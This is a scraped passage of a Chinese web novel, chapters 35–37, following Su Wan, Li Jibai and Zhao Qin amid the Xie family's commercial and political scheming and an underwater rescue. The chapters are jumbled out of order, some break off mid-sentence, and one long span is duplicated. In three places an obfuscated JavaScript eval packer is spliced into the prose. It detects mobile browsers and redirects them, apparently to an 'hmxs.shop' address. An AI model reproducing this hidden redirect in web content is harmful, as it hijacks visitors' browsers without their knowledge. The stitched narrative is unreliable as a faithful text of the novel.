l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691798|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 返回,沿着石阶走出水面,爬上石台。她按动机关,将水下洞口关闭,又将神像背后的石球复位,取下那片云水缎碎布。 做完这一切,她已浑身湿透,冷得微微发抖。 她沿着来时的路,迅速离开地下空间,回到了祠堂后的石滩。将石板恢复原状后,她不敢有丝毫耽搁,循着原路,凭借着敏捷的身手和夜色掩护,再次悄无声息地翻出总舵高墙,消失在茫茫夜色之中。 她并不知道,在她离开后不久,王莽的身影出现在祠堂院内。他走到那块石板前,仔细检查了一番,确认没有任何破坏痕迹,眼中闪过一丝满意。他对着黑暗处打了个手势,所有潜伏的暗哨悄然退去。 而就在苏晚带着那个冰冷的铁盒,如同捧着滚烫的山芋般赶回锦心坊的同时,李既白面前摊开着一份刚送来的密报。 密报上只有简短的几行字: “查实,黑水荡劫粮事件,动手者确为刘三爷麾下。然指使其行动者,并非赵铭,而是通过第三方接触,疑似三皇子府密探。其目的,一在扰乱北境粮草,二在嫁祸侯爷,三或为逼迫苏晚彻底倒向赵衾。” 李既白的手指猛地收紧,将密报边缘攥得褶皱。他眼中寒光凛冽。必须加快动作了。 “墨痕!” “属下在!” “明日问话漕帮,计划不变。但结束后,你亲自去查,盯紧刘三爷和所有与他有过接触的可疑之人!另外加派人手,暗中保护锦心坊。若有任何风吹草动,立刻来报!” 37. 第三十七章 “娘子,到了。” 苏晚睁开眼,眸中一片清明冷澈。她扶着竹儿的手下车,却见赵衾并未乘坐自己的马车离开,而是负手立在锦心坊的院门外,似乎专程在等她。 月光如水,洒在他的锦袍上,泛着幽冷的光泽。 “二爷还有事?”苏晚停下脚步,语气疏离。 赵衾转过身,脸上没了宴席上那惯有的玩世不恭,取而代之的是一种深沉的审视。 “晚晚,李既白今夜为何会突然出现在望江楼?又为何独独在你被谢昆指控时,出言维护?” “李大人是钦差,谢昆当众攀诬涉及北境军务,他出面制止,有何奇怪?至于他为何恰好在场,或许是有人通风报信,又或许,他本就一直在暗中关注谢家的动向。” 赵衾走近两步,目光如刀,仿佛要剖开她的层层伪装:“仅仅如此?可我为何觉得,这位靖安侯看你的眼神,颇为不同。那里面,可不止是公务公办的审视。” 苏晚迎上他的目光,毫不退让:“二爷多虑了。或许他只是因为我这张脸,像极了他那位已故的夫人,故而多看了几眼。但这与我们的合作无关,与二爷的大计更无干系。” “无关?”赵衾轻笑一声,带着几分嘲讽,“晚晚,你我都不是三岁孩童。李既白的态度,直接影响淮州的局势,影响我们能否成事!若他因私废公,那我们的计划或许可以更激进一些。若他铁面无私,甚至因爱生恨,那我们就必须更加小心谨慎。” 他声音压低,带着蛊惑与试探:“告诉我,你与他之间,到底有何过往?这或许能决定,我们是引他为援,还是视他为敌。” 苏晚的心脏猛地一缩。引他为援?绝无可能!她重生归来,只为复仇,只为守护家人,岂会再与那负心之人有半分瓜葛? “二爷,”她斩钉截铁,“我与他,无情。若二爷觉得我这‘棋子’因他而变得不稳,大可以另寻他人合作。苏晚绝无怨言。” 她这话说得极重。赵衾盯着她看了半晌,他忽然笑了,恢复了那副慵懒的姿态:“晚晚何必动气?我不过是想知己知彼罢了。既然你心意已决,那便最好。至于合作,你我如今是同一条船上的人,船若翻了,谁也别想好过。” 他话锋一转,语气变得凝重:“谢家经此一挫,绝不会善罢甘休。明枪易躲,暗箭难防。尤其是你,晚晚,你如今是他们的眼中钉,肉中刺。我们必须尽快拿到足够分量的东西,才能让他们投鼠忌器。” 他的目光,意有所指地扫过苏晚的衣袖。 苏晚自然明白他指的是铁盒中的证据。“二爷放心,时机成熟,我自会取出。”她依旧没有松口。 赵衾也不逼迫,点了点头:“好,我信你。近日我会加紧对谢家货船的核查,让他们无暇他顾。你也小心。” 说完,他不再多言,转身融入夜色之中。 —— 李既白站在窗前,望着淮州城的万家灯火,脑海中却不断回放着望江楼中,苏晚面对谢昆指控时,那清冷而孤绝的身影。她甚至没有看他一眼。 “侯爷,”墨痕的声音在身后响起,“查到了。今日望江楼宴席,是谢家一名管事提前派人到驿馆透露了苏姑娘会出席,并可能被刁难的消息。” 李既白眼中寒光乍现:“谢家?他们想借本官的手,去对付苏晚和赵衾?” “是。谢家自知直接动手风险太大,便想将您当枪使。若您当时在宴席上顺势严惩苏姑娘,正合他们心意。” “好一招驱虎吞狼。”李既白冷笑。谢家打得一手好算盘,可惜,他们算错了他对苏晚的态度。 “还有一事,”墨痕继续禀报,“还有关于谢家旁支子弟的罪证,已收集到一些,是否……” “先按兵不动。”李既白打断他,“此刻动谢家,只会打草惊蛇,将所有人的注意力都吸引过来。” 他需要更关键的证据,不仅能解苏晚眼前之困,更能直指当年父母与姨母冤案的真相!那个传闻中水下密室里的东西,或许就是关键。 “今晚,我们就动手吧。” 墨痕按照李既白的吩咐,在漕帮总舵另一侧的货仓区制造了一场“走水”骚乱,大部分守卫都被吸引了过去。 李既白也如同暗夜中的影子,悄无声息地翻墙而入,精准地找到了祠堂后方的石滩。他眼力极好,很快发现了那块与众不同的石头和上面的凹槽。 他没有钥匙,但凭借对机关术的了解,他取出随身携带的一根特制银针,探入凹槽内部。片刻后,石板缓缓滑开,露出幽深的洞口。李既白毫不犹豫,闪身而入。 几乎是前后脚,另一道黑影,也轻盈地越过高墙,落在了石滩上。 苏晚依旧是那夜的装扮,蒙着黑巾。她警惕地观察四周,确认安全后,迅速来到洞口前。她发现石板竟是开着的,心中猛地一沉。 有人先她一步进去了! 会是谁,赵衾?不可能,他刚送自己回去。赵铭?可他若有此智谋和胆量,早就进去了。难道是谢家的人? 来不及细想,苏晚立刻跟着潜入洞口。她必须赶在对方之前拿到柜子里的东西。 地下空间内,河水幽暗。 李既白只能靠着双脚摸索,他很快来到了神像前的石台。看到那尊巨大的河神像和其底座靠近水面的洞口,他立刻明白,真正的密室在水下。 他没有犹豫,深吸一口气,沿着湿滑的石阶步入刺骨的地下河水中。寒意包裹了他,让他打了个寒颤。他水性本就普通,此刻更是觉得呼吸有些困难。他强忍着不适,扶着洞壁,一步步湖水的中央。 水中泛着冷硬的光泽,他看到了那个柜子,还有一把铜锁。他尝试用力拉扯,柜门纹丝不动。他凑近仔细观察锁孔,试图找到打开的方法,然而水中视线模糊,加之憋气时间渐长,他开始感到头晕目眩,胸口发闷。 就在这时,他隐约听到前方传来敲击的声响。他屏住呼吸,看到一道模糊的黑影。 他心中警铃大作,下意识想要拿剑攻击,然而缺氧带来的无力感让他动作迟缓。他想要往后退,一口气没憋住,冰冷的河水猛地灌入口鼻,剧烈的窒息感攫住了他。他本能地挣扎起来,手脚却越发无力,意识开始模糊。 苏晚也没想到下来的那人是李既白,她比男人先一步到水下,想要打开铜锁取出里面的东西。 可李既白,情况貌似不对,像是溺水了。 她本不想管他的,可转念一想,如果没了李既白,江南这边将彻底没有回转,她终究心软了。她一手拿着夜明珠,照明方向往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797367|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李既白的方向游去。 李既白意识涣散间,透过微弱的光看到了那双熟悉清亮的眼眸。 昭昭?不可能,这大概是老天给的最后一场梦吧。 他彻底闭上了双眸,等待着那最终的审判。 苏晚奋力到了李既白身边,现在二人离水面有些距离,若再不采取些措施,李既白真的就要命丧于此了。 想到这,苏晚一手揽住他下沉的身体,另一只手托住他的下颌,防止他再呛水。 李既白只感到一个柔软的身体贴近,紧接着,一双微凉而柔软的唇瓣覆上了他因缺氧而冰冷的唇。 一口气度了过来。 带着极淡的清甜气息,如同甘泉,瞬间涌入他几乎停滞的肺腑。 他本能地汲取着这救命的空气,混沌的意识被这突如其来的亲密接触震得清醒了几分。他睁开眼,近在咫尺的是她微微蹙起的眉和那双写满焦急与复杂的眼眸。 水波荡漾,发丝纠缠,这一刻,时间仿佛静止。 苏晚见他缓过气,想要退开。然而,李既白的手臂却猛地收紧,将她牢牢箍在怀中,加深了这个意外又迫不得已的“吻”。不是掠夺,而是带着一种失而复得的恐惧和后怕,仿佛要将她揉进骨血里。 苏晚浑身一僵,用力挣扎。水下动作不便,她的推拒更像是无力的扑腾。李既白感受到她的抗拒,理智逐渐回笼,手臂的力道微微松开,却依旧没有放开她。 苏晚屈起腿,趁机顶了他的腹部,随后立刻转身,只单手拉着李既白的手,几乎是拖着将他往水面上游。 两人浮出水面,靠在冰冷的石壁上,剧烈地喘息着。水珠顺着他们的脸颊不断滑落。 “你……”苏晚脸色愠怒,“李大人,你怎么会在这里?”她压低了声音,语气里带着惊魂未定。 李既白看着她因沾水而更显清澈的容颜,心跳依旧失序,不知是因方才的窒息,还是因为那个吻。他抹去脸上的水渍,声音因呛水而沙哑:“这话……该我问你。你知不知道这里有多危险?” “危险?”苏晚气结,若不是她这次过来,现在危险的就是他。“若不是我恰好进来,李大人此刻已成水下亡魂了!” “所以你救了我。”李既白凝视着她,目光深邃,“又一次。” 苏晚避开他的目光:“你到底来做什么?” “找线索。”李既白没有隐瞒,“能扳倒谢家,能查明我父母和姨母冤案的证据。”他顿了顿,补充道,“也能帮你摆脱眼下困局的证据。” 苏晚撇开脑袋。他果然也是为了这个而来。而且,他竟一直记着,并一直在暗中调查。 “钥匙呢?”李既白问,“你既然来过,定然知道如何打开它。”他指的是那个铁皮柜。 苏晚抿了抿唇,东西她是取出来了,就在她怀中的暗袋里。 见她沉默,李既白心中了然。他没有逼迫,只道:“昭昭,我知道你恨我。但眼下,我们的目标是一致的。我们有共同的敌人,跟我合作这比你与赵衾合作,要稳妥得多。” “稳妥?”苏晚甩开他试图拉住她的手,“李大人所谓的稳妥,就是将我当作棋子,最后弃如敝履吗?还有,我的敌人是三皇子,你跟他可是表兄弟,我恨不得你跟他一起去死。” 35. 第三十五章 李既白策马回城,一路无言。春风拂面,本该是和煦温暖,落在他身上却只余刺骨冰寒。 方才猎场那一幕,如同最锋利的匕首,在他心口反复凌迟。 他几乎是落荒而逃 以“需即刻审理漕运案卷”为由,他甚至未与淮州知府照面,便径直回了驿馆。 他屏退了所有人,独自站在窗前,背影僵直。夕阳的余晖将他的影子拉得极长,投在冰冷的地面上,更显孤寂。 “晚晚……”他无声地咀嚼着这个名字,喉间涌上浓重的腥甜,又被他强行咽下。 他为护她,藏起所有情绪,替她照顾好她的亲人,为她扫去障碍。 他并不乞求她能原谅自己,只要可以远远看着她,也是心甘情愿。却不想,命运竟以如此残酷的方式,让他再次尝到失去她的滋味,而且,是她心甘情愿走向另一个男人。 “侯爷。”墨痕的声音在门外响起,带着几分小心翼翼。 李既白没有回头,声音沙哑:“何事?” 墨痕推门而入,手中捧着一份帖子:“漕帮赵二爷……派人送来了他与苏姑娘的定亲喜帖。三日后,在涵碧轩设宴。” 李既白缓缓转过身,目光落在墨痕手中那抹刺眼的红色上。那红色,灼得他眼睛生疼。 他伸出手,指尖却控制不住地发抖。接过帖子,触手是细腻的纸张,上面并排写着“赵衾”与“苏晚”的名字,字迹婉约,却像烧红的烙铁,烫在他的心上。 “知道了。”细细摩挲着定亲二字,语气平静得可怕。 墨痕看着侯爷那过于平静的面容,心中忧虑更甚。他跟随侯爷多年,深知侯爷越是平静,内心便越是惊涛骇浪。“侯爷,此事我们是否要做些准备?三殿下那边恐怕……” “准备什么?”李既白打断他,唇角勾起一抹冰冷的自嘲,“准备贺礼吗?” 墨痕语塞 就在这时,门外侍卫通传:“侯爷,钱老板求见。” 李既白眼神一凛,瞬间收敛了所有外泄的情绪,恢复了惯常的冷峻,帖子也被丢在一旁:“让他进来。” 钱禄依旧是那副圆滑商贾的模样,只是今日眉宇间多了几分急切。他进门便躬身行礼:“小人参见侯爷。” “钱老板不必多礼,坐。”李既白走到主位坐下,示意墨痕看茶。 钱禄依言坐下,接过茶杯却无心饮用:“侯爷,小人刚听闻赵二爷与那位苏管事定亲的消息。这,这实在是出乎意料啊!” 李既白端起茶杯,氤氲的热气模糊了他眼底的神色:“男婚女嫁,人之常情。有何意外?” 钱禄凑近了些,语气焦虑:“侯爷,您想啊,那苏晚早不定亲,晚不定亲,偏偏在您南下督察漕运,严查北境粮道的节骨眼上,与掌控淮州水路的赵二爷定亲……这其中的意味,不言自明啊!他们这是要联手对抗朝廷清查,彻底将北境粮道攥在自己手里!殿下在京城听闻此事,必定震怒!” 李既白放下茶杯,发出清脆的碰撞声:“依钱老板之见,本官当如何?” 钱禄眼中闪过一丝狠厉:“侯爷,殿下之意,是绝不能让赵衾与苏晚顺利联姻,更不能让他们借此掌控粮道!必须尽快找到确凿证据,坐实他们扰乱漕运,意图不轨之罪!必要时可采用非常手段,让那苏晚彻底闭嘴!” “非常手段?”李既白眸光骤寒,如冰刃般射向钱禄,“钱老板是在教本官做事?” 钱禄被他目光中的冷意慑住,冷汗湿了后背,连忙起身:“小人不敢,小人只是传达殿下关切之意,一切自然由侯爷定夺!” 李既白沉默片刻,方才迸发的杀意缓缓收敛。“证据,我自会去找。”他语气恢复平淡,“至于其他,我自有计较。” “是。”钱禄话锋一转,“不过黎昭雪那边,倒是使不了什么绊子了,不曾想这黎家竟各个都如此骁勇善战,要是不在太子党下,定能助三殿下一臂之力!” 李既白垂下眼眸,却还是问出了那个不可能实现的想法:“殿下是想拉拢黎家?” 钱禄摆了摆手,身子大敞着靠在凳子上,“殿下不会要这么蠢的人,而且蠢就算了,还那么不要命地干!不过说到底……” 他叹了一口浊气,“还是太子一党,皇后他们该死!要不是她们故意挑衅北狄使者,让北狄君主觉得蒙羞,根本就不会有这仗打。黎昭雪还以为自己打的是保家卫国的仗呢,实则却是彻底的一个恶人。百姓和将士的命,都只是他们的一场无关紧要的游戏而已。” 李既白知道所有的来龙去脉,他没有对这件事表明态度,“无妨,待这次回京,真相就会昭告天下,殿下的大业,自会完成。” “对了,侯爷,皇后母家谢家这边……” “敌不动,我不动。” “是,那钱某,告辞。” 待钱禄走后,李既白的目光重新落在那封定亲贴上。 昭昭,对不住了。 定亲宴,终究未能如期举行。就在定亲帖送出的第二日,悄然刮起了一阵阴风。 先是锦心坊的数批紧要绣品原料,在入城关卡被赵铭麾下的稽查队,以“疑夹带私货”为由,强行扣下。任凭周坊主如何打点疏通,对方只是冷脸公事公办,言明需“细细核查”,归期不定。这直接导致锦心坊数笔大额订单面临违约风险。 紧接着,与锦心坊有长期合作的几家大小布庄、染料行,或是委婉表示货源紧张,或是干脆寻了由头,暂停了供货。 这接连的打击,目标直指苏晚的经济命脉和立足根本,用意再明显不过。在她与赵衾的联盟尚未稳固之前,先断其羽翼,毁其根基,让她成为一个失去价值的空壳。 “娘子,城南的王记布庄刚刚派人来,说他们库房昨夜走了水,给咱们预备的那批云缎……全毁了。”竹儿快步走进书房,脸上带着愤懑与焦急,“这已是第三家了!还有漕帮那边扣下的原料,赵二爷派人去交涉,刘三爷只推说是按新立的规矩办事,连赵二爷的面子都不给!” 苏晚坐在案后,面前摊开着锦心坊的账册,脸上并无太多意外之色。 “知道了。告诉周坊主,违约的订单,按契约赔付。原料短缺的,让她想办法从周边州县高价收购,走陆路运进来,成本不计。” “娘子!”竹儿急道,“这……这简直是拿银子往水里扔!而且陆路耗时耗力,根本赶不及啊!再这样下去,锦心坊撑不了太久的!” “撑不住也要撑。”苏晚抬眸,“这不是商业竞争,这是警告,是下马威。” 她站起身,走到窗边,看着院中那几株在春日里肆意舒展的芭蕉。 “谢家出手了……比预想的还要快。”她低声自语。 谢家,江南百年望族,亦是当今皇后母家。其在江南盘根错节,势力深植于盐、织、漕各大命脉行业,虽不似漕帮般张扬于市井,其影响力却如静水深流,无处不在。皇后母族这尊庞然大物,终于不再满足于幕后观望,开始亲自下场清理。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791428|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那……我们怎么办?要不要去找赵二爷再想想办法?”竹儿问道。 苏晚摇了摇头,“找他也无用。谢家此举,明着是针对我,暗里何尝不是在敲打赵衾?在绝对的权势面前,漕帮内部的那些算计,显得如此可笑。” 与此同时,李既白也收到了消息。墨痕将锦心坊遇阻,谢家暗中施压的情况一一禀报。 “谢家……”李既白指尖轻轻敲击着桌面,眸色深沉。他并不意外谢家的反应,只是没想到对方动作如此之快,如此直接。“看来,有人坐不住了。” “侯爷,谢家插手,形势对我们更为不利。”墨痕皱眉道,“苏姑娘的处境恐怕……” “她不会轻易认输。”李既白打断他,语气笃定。他了解她,越是压迫,她骨子里的韧性越是会被激发出来。 “谢家此举,虽狠辣,却也暴露了他们的急躁。他们怕了,怕赵衾与昭……与苏晚联手,真的在北境粮道上撕开一道口子,怕他们手中可能掌握的东西。” 他站起身,走到淮州漕运图前,目光落在代表谢家产业和关系的密密麻麻的标记上。“谢家根基深厚,硬碰硬非明智之举。但,再坚固的堤坝,也怕蚁穴。” “侯爷的意思是?” “谢家并非铁板一块。”李既白眼中闪过一丝精光,“树大必有枯枝。这些年,谢家子弟借着家族荫庇,在江南横行不法,侵吞田产和把持行市之事,难道还少吗?去查,重点查那些行事最为嚣张跋扈的旁支子弟,找到他们的罪证,不必惊天动地,但要足够让他们焦头烂额,无暇他顾。” 他要用这些“小事”,去牵制谢家的精力。同时,这也是告诉谢家,他李既白并非只会盯着漕运,若谢家执意插手,他不介意将调查的范围扩大。 “是,属下明白!”墨痕精神一振,领命而去。 李既白独自留在书房,思绪却飘向了涵碧轩。他知道,苏晚此刻定然在那里,与赵衾商议对策。谢家的压力,会让他们之间的“联盟”更加紧密,还是会产生裂痕? * 赵衾听完苏晚的叙述,脸上惯有的玩味笑容淡去了几分,取而代之的是一种阴沉的冷厉。 “谢家,手伸得可真长!”他冷哼一声,“断我财路,毁你根基,这是想一石二鸟,把我们俩都摁死。” 苏晚捧着一杯清茶,神色平静无波:“二爷现在打算如何?锦心坊若倒,我失去立足之地,于二爷的大计,恐怕也无益处。” 赵衾盯着她又笑了,只是那笑意未达眼底:“晚晚这是在将我的军?放心,我赵衾既然选了你做盟友,就不会眼睁睁看着你被人欺负到头上来。” 他踱步到窗边,望着波光粼粼的湖面:“谢家势大,硬撼是蠢。但他们忘了,这淮州水路,终究是我漕帮说了算!他谢家织造的绸缎要运出去,盐铁百货要运进来,哪一样离得开水路?” 他转过身,眼中闪过狠辣:“他们扣你的原料,我就卡他们的货船。从今日起,凡贴有谢家标记的货船,过淮州水闸,一律‘按章严查’,没有三五日,休想通行!我倒要看看,是他们谢家的仓库堆得多,还是我漕帮的码头堵得起!” 这是要以彼之道,还施彼身。用漕运的瘫痪,来反制谢家的商业封锁。 苏晚心中微动。赵衾此举,虽是为了自身利益,却也实实在在地为她缓解了压力。但这无疑会彻底激化与谢家的矛盾,将漕帮内斗引向外部的腥风血雨。 “二爷此举,怕是会引来谢家更猛烈的报复。” 36. 第三十六章 “报复?”赵衾嗤笑,“他们还有什么招?无非是动用官面上的力量。可是啊,城里还坐着一位钦差大人呢。李既白奉旨查漕,谢家若敢明目张胆地以官势压我,正好给了李既白插手干预的借口。到时候,这潭水只会更浑。” 他看向苏晚,目光深邃:“晚晚,乱局已开,想独善其身是不可能的。唯有把水搅得更浑,我们才能在浑水中摸到想要的东西。你那铁盒里的东西……是时候派上用场了。” 苏晚心头一凛,赵衾果然一直惦记着她手中的底牌。 她垂下眼睫,轻啜一口茶,掩去眸中的思绪:“二爷放心,时机一到,苏晚自不会藏私。” 就在两人各怀心思,商议着如何应对谢家打压之时,王莽匆匆进来,脸色凝重地禀报: “二爷,苏管事,刚得到消息。谢家三爷谢昆,明日将在望江楼设宴,广邀淮州名流,说是要为其幼子庆生。” 赵衾与苏晚对视一眼,都从对方眼中看到了凝重。 谢昆,谢家当代家主一母同胞的嫡亲弟弟,在谢家地位尊崇,掌管着家族大半的织造生意。 这绝非一场简单的寿宴。而是谢家摆下的,将你我争夺摆在明面上的一道菜。 “晚晚,你可怕了?” “二爷,在下自踏入这淮州起,还从未怕过谁。” —— 主位之上,谢昆身着绛紫团花绸袍,他面色红润,正与人谈笑风生。他忽的眼中精光一闪,随即堆起热情的笑容,起身时身体摇摇晃晃: “赵二公子,苏管事,大驾光临,蓬荜生辉啊!快请上座!”他声音洪亮,目光却不停打量着并肩而行的二人。 “谢三爷客气。”赵衾拱手回礼,他难得穿了玄色常服,是从未有过的正经周正模样,“恭贺令郎生辰,小小薄礼,不成敬意。”身后随从立刻奉上一个精致的礼盒。 谢昆看也未看交给下人,目光落在苏晚身上,她一身白裙,简约淡丽,与赵衾那身显然是一套。 “这位便是名动淮州的苏管事?果真是百闻不如一见,气质清雅,难怪能得赵二公子如此青睐。” 他这话语带着几分轻佻,将苏晚的成就归因于容貌,其轻视之意不言而喻。 苏晚微微屈膝,神色平静无波:“谢三爷谬赞。民女愧不敢当。” 谢昆哈哈一笑,不再多言,引二人入席,而他们的位置,如想象中的被安排在靠近主位的地方。 宴席伊始,依旧是惯例的敬酒寒暄。谢昆作为主人,周旋于宾客之间,八面玲珑。 “诸位,”他清了清嗓子,“今日犬子生辰,承蒙各位赏脸,谢某感激不尽。借此机会,谢某也有几句话,不吐不快。” 宴厅渐渐安静下来,所有人都知道,戏肉要来了。 谢昆脸上笑容不变,语气却带上了几分沉痛:“近日淮州颇不太平啊。先是漕运屡生事端,粮道受阻,引得朝廷钦差亲至,严加盘查,令我等着实惶恐。接着,市面之上,一些正当经营的商号无端受挫,原料被扣,合作中断,长此以往,我淮州商界百年信誉,恐将毁于一旦!” 他这话看似忧心忡忡,实则句句指向赵衾与苏晚。指责赵衾管理漕帮不力,扰乱秩序;暗示苏晚的锦心坊“无端受挫”是咎由自取。 立刻便有依附谢家的官员接口道:“谢三爷所言极是!漕运乃国之命脉,商贸乃民生根本,岂容儿戏?某些人为一己私利,兴风作浪,实乃淮州之害!” “不错!尤其是那些来历不明之人,仗着几分姿色,便想搅乱市场规矩,简直是蚍蜉撼树!” 议论声渐起,矛头愈发尖锐直白。 赵衾把玩着酒杯,仿佛没听见那些指桑骂槐,嘴角甚至带着惬意的笑。 苏晚端坐席间,眼帘低垂,慢条斯理地用着面前精致的糕点。 谢昆见二人如此沉得住气,眼中闪过愠怒,他决定再加一把火。 他拍了拍手,一名管家捧着一个锦盒上前。谢昆打开锦盒,里面是一匹流光溢彩的云锦,无论是色泽还是质地,都与苏晚初来时设计的让锦心坊声名大噪的“月华锦”有八九分相似。 “诸位请看,”谢昆拿起那匹锦缎,展示给众人,“此乃我谢家织坊新出的‘流光锦’,无论是工艺还是图样,皆乃精心研制。谢某听闻,市面上有些类似之物,价格却虚高不少,甚至以次充好,扰乱行情。我谢家作为行业表率,绝不能坐视此等劣币驱逐良币之事发生!自今日起,谢家名下所有绸缎庄,将以低于市价三成的价格,发售此‘流光锦’!” 此言一出,满座哗然。 这已经不是暗中打压,而是公开且毫不留情的价格战!以谢家的财力和渠道,低价倾销仿制品,足以在短时间内彻底挤垮锦心坊赖以生存的核心业务,这是要彻底断了苏晚的生路。 周坊主坐在下首,几乎要晕厥过去。 所有人的目光都聚焦在苏晚身上,想看看这位近日来风头无两的苏管事,会如何应对这绝杀之局。 苏晚终于放下了手中的银箸,她拿起帕子,轻轻擦了擦嘴角,动作从容。然后,她缓缓抬头,目光平静地迎向谢昆那志得意满的目光。 “谢三爷果然豪气。”她声音清越,“为民女一介微不足道的锦心坊,竟劳动谢家如此兴师动众,甚至不惜自降身份,仿制民女坊中拙作,并以本伤人大举倾销,民女……真是受宠若惊。” 她语气平淡,而且带着困惑,仿佛真的不明白为何谢家要如此针对她。但这轻飘飘的几句话,却像无形的耳光,狠狠扇在谢昆脸上。 直接点破了谢家抄袭,恶意竞争的卑劣行径。 谢昆脸上的笑容僵住了 苏晚却不给他反驳的机会,继续道:“不过,谢三爷有句话说得对,劣币确实不该驱逐良币。真正的‘月华锦’,其染料乃民女独家秘方,取自海外奇花,十年方能萃取少许,染出的色泽历久弥新,遇光则流转如月华。其织法更是融合了已失传的‘双面异色’古技,正反两面,图案迥异,却浑然一体。” 她说着,从随身的荷包中,取出一小块真正的月华锦碎片,对着灯火轻轻一晃。只见那布料在光下果然呈现出流动的光泽,与谢昆手中那匹死板的“流光锦”截然不同。 “不知谢三爷这‘流光锦’,”苏晚目光转向谢昆手中那匹锦缎,语气带着一丝若有若无的怜悯,“可能经得起这般细看?又可敢让诸位宾客,验看其布料反面?” 谢昆脸色变得铁青,他手中的“流光锦”不过是仓促仿制的劣质品,如何能与真正的秘传技艺相比?更别提什么双面异色! 厅内顿时响起一片窃窃私 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众人循声望去,只见靖安侯李既白不知何时出现在了宴厅门口。他未着官服,只是一身月白常服,面容冷峻地从灯火通明中缓步走来,周身散发的威压让原本喧嚣的宴厅鸦雀无声。 他不应该帮自己说话吗?谢昆瞳孔一缩,眼皮乱跳,心中一股不好的感觉。 李既白目光扫过全场,最后落在谢昆身上:“本官奉旨督察漕运,凡涉及粮草军务,皆需慎之又慎。谢三爷既指证苏管事与赵二公子扰乱北境粮草供应,便请拿出真凭实据。若无证据……” 他顿了顿,声音照旧平静,“便是诬告朝廷命官正在核查的要案相关之人,其罪……当同欺君。” “欺君!” 李既白这顶“欺君”的大帽子扣下来,人群彻底炸开。 谢昆脸色煞白,冷汗涔涔而下,他哪有证据。不过是按照京城那边的意思,随口攀诬,想借此将苏晚彻底钉死罢了! “李……李大人,下官,下官只是一时激愤,口不择言……”他慌忙辩解,语无伦次。 李既白不再看他,对着众人道:“漕运核查,乃朝廷法度,本官自会秉公办理,不枉不纵。至于市井商贾之争,还望诸位遵守行规,各安其业。若有人借机生事,扰乱淮州秩序,本官绝不姑息。” 说完,他不再多留,甚至未与主人家告辞,便转身拂袖而去,来得突然,去得也干脆。 但他留下的余威,却震慑了全场。 谢昆瘫坐在椅子上,面如死灰,他知道,他彻底输了。不仅没能打压下苏晚,反而在众人面前丢尽了颜面,更是险些惹上欺君大罪! 赵衾看着李既白离去的方向,又看了看神色恢复平静的苏晚,眼中闪过一丝深思。李既白今夜的出现,绝非偶然。他是在警告谢家,更是在保护苏晚。 苏晚垂眸,掩去眼底翻涌的情绪。李既白,究竟为何要帮她。 她深吸一口气,转向面如死灰的谢昆,“谢三爷,若无他事,民女先行告退。” 说完,她不再看任何人,与赵衾交换了一个眼神后,便在一片复杂目光的注视下,从容离开了这座喧嚣与危机并存的望江楼。 楼外,夜风微凉。 淮州的夜,还很长。 37. 第三十七章 “娘子,到了。” 苏晚睁开眼,眸中一片清明冷澈。她扶着竹儿的手下车,却见赵衾并未乘坐自己的马车离开,而是负手立在锦心坊的院门外,似乎专程在等她。 月光如水,洒在他的锦袍上,泛着幽冷的光泽。 “二爷还有事?”苏晚停下脚步,语气疏离。 赵衾转过身,脸上没了宴席上那惯有的玩世不恭,取而代之的是一种深沉的审视。 “晚晚,李既白今夜为何会突然出现在望江楼?又为何独独在你被谢昆指控时,出言维护?” “李大人是钦差,谢昆当众攀诬涉及北境军务,他出面制止,有何奇怪?至于他为何恰好在场,或许是有人通风报信,又或许,他本就一直在暗中关注谢家的动向。” 赵衾走近两步,目光如刀,仿佛要剖开她的层层伪装:“仅仅如此?可我为何觉得,这位靖安侯看你的眼神,颇为不同。那里面,可不止是公务公办的审视。” 苏晚迎上他的目光,毫不退让:“二爷多虑了。或许他只是因为我这张脸,像极了他那位已故的夫人,故而多看了几眼。但这与我们的合作无关,与二爷的大计更无干系。” “无关?”赵衾轻笑一声,带着几分嘲讽,“晚晚,你我都不是三岁孩童。李既白的态度,直接影响淮州的局势,影响我们能否成事!若他因私废公,那我们的计划或许可以更激进一些。若他铁面无私,甚至因爱生恨,那我们就必须更加小心谨慎。” 他声音压低,带着蛊惑与试探:“告诉我,你与他之间,到底有何过往?这或许能决定,我们是引他为援,还是视他为敌。” 苏晚的心脏猛地一缩。引他为援?绝无可能!她重生归来,只为复仇,只为守护家人,岂会再与那负心之人有半分瓜葛? “二爷,”她斩钉截铁,“我与他,无情。若二爷觉得我这‘棋子’因他而变得不稳,大可以另寻他人合作。苏晚绝无怨言。” 她这话说得极重。赵衾盯着她看了半晌,他忽然笑了,恢复了那副慵懒的姿态:“晚晚何必动气?我不过是想知己知彼罢了。既然你心意已决,那便最好。至于合作,你我如今是同一条船上的人,船若翻了,谁也别想好过。” 他话锋一转,语气变得凝重:“谢家经此一挫,绝不会善罢甘休。明枪易躲,暗箭难防。尤其是你,晚晚,你如今是他们的眼中钉,肉中刺。我们必须尽快拿到足够分量的东西,才能让他们投鼠忌器。” 他的目光,意有所指地扫过苏晚的衣袖。 苏晚自然明白他指的是铁盒中的证据。“二爷放心,时机成熟,我自会取出。”她依旧没有松口。 